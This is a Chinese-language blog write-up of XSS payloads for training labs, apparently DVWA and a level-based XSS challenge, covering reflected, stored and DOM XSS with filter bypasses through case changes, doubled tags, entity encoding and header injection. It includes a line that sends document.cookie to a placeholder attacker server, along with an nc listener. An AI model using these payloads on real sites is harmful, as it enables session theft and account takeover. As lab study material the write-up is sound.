XSS跨站脚本攻击

Cross Site Scripting

Posted by Kyon-H on August 5, 2023

1. XSS(Reflected)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!--直接填-->
<script>alert(document.cookie)</script>
<script>confirm(document.cookie)</script>
<!--补全闭合标签-->
"><script>alert(document.cookie)</script>
<!--闭合添加事件-->
" onclick="alert(document.cookie)
<!--htmlspecialchars 使用单引号闭合-->
' onclick='alert(document.cookie)
<!--使用a标签-->
javascript:alert(document.cookie)
"><a href="javascript:alert(document.cookie)"/>
<!-- 6 大写-->
"><a HREF="javascript:alert(document.cookie)"/>
<!-- 7 双写-->
"><SSCRIPTCRIPT>alert(document.cookie)</SSCRIPTCRIPT>
<!-- 8 Unicode编码 javascript:alert(document.cookie)-->
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41
<!-- 9 unicode编码 注释 http:\\ -->
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41;&#59/*http://*/
<!-- 10 补全 替换type -->
t_sort="onclick="alert(123)" type="
<!-- 11 改referer 需要bp拦截包改 -->
Referer: "onclick="alert(123)" type="
<!-- 12 bp改UA -->
User-Agent: "onclick="alert(123)" type="
<!-- 13 bp改Cookie -->
Cookie: user="onclick="alert(123)" type="
<!-- 15 文件包含-->
'level1.php?name=<img src=1 onerror=alert(123)>'
<!-- 16 %0a替换空格 不用"/"-->
><img%0asrc=1%0aonerror=alert(123)><!--

10、 image.png

1.1. LOW

1
2
3
4
5
6
7
#获取Cookie
<script>alert('document.cookie')</script>
#访问攻击者服务器
<iframe src='http://ip/time.jpg'></iframe>
#向攻击者服务器发送cookie
#nc -nvlp 80
<script>new Image().src="http://ip/a.php?output="+document.cookie;</script>

1.2. MEDIUM

利用大小写,组合过滤条件绕过

1
2
3
4
5
<Script>
<scr<script>ipt>
<body onload=alert('')>
<a href=javascript:alert(123)>123</a>
<img src="" onerror="alert(document.cookie)"/>

1.3. HIGH

1
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$_GET['name']);

无法使用<script>但可以使用其他标签

1
<a href=%23 onclick=alert(123)>123</a>

2. XSS(Stored)

2.1. LOW

后台源码:

trim(string,charlist):移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符

stripslashes(string):去除掉string字符的反斜杠\

mysqli_real_escape_string(string,connection):函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

$GLOBALS:引用全局作用域中可用的全部变量。

2.2. MEDIUM

1
2
htmlspecialchars()
//将标签转为普通字符

name为注入点

2.3. HIGH

name为注入点

3. XSS(DOM)

3.1. LOW

url注入

1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

3.2. MEDIUM

1
2
3
></option></select><img src=1 onerror="alert(document.cookie)"/>
default=French</option><h1>123</h1><!-- #h1标签消失猜测未闭合select-->
default=French</option></select><a href=javascript:alert(123)>123</a><!--

3.3. HIGH

服务器对default设置了白名单,攻击代码用#注释不上传到服务器

1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(document.cookie)</script>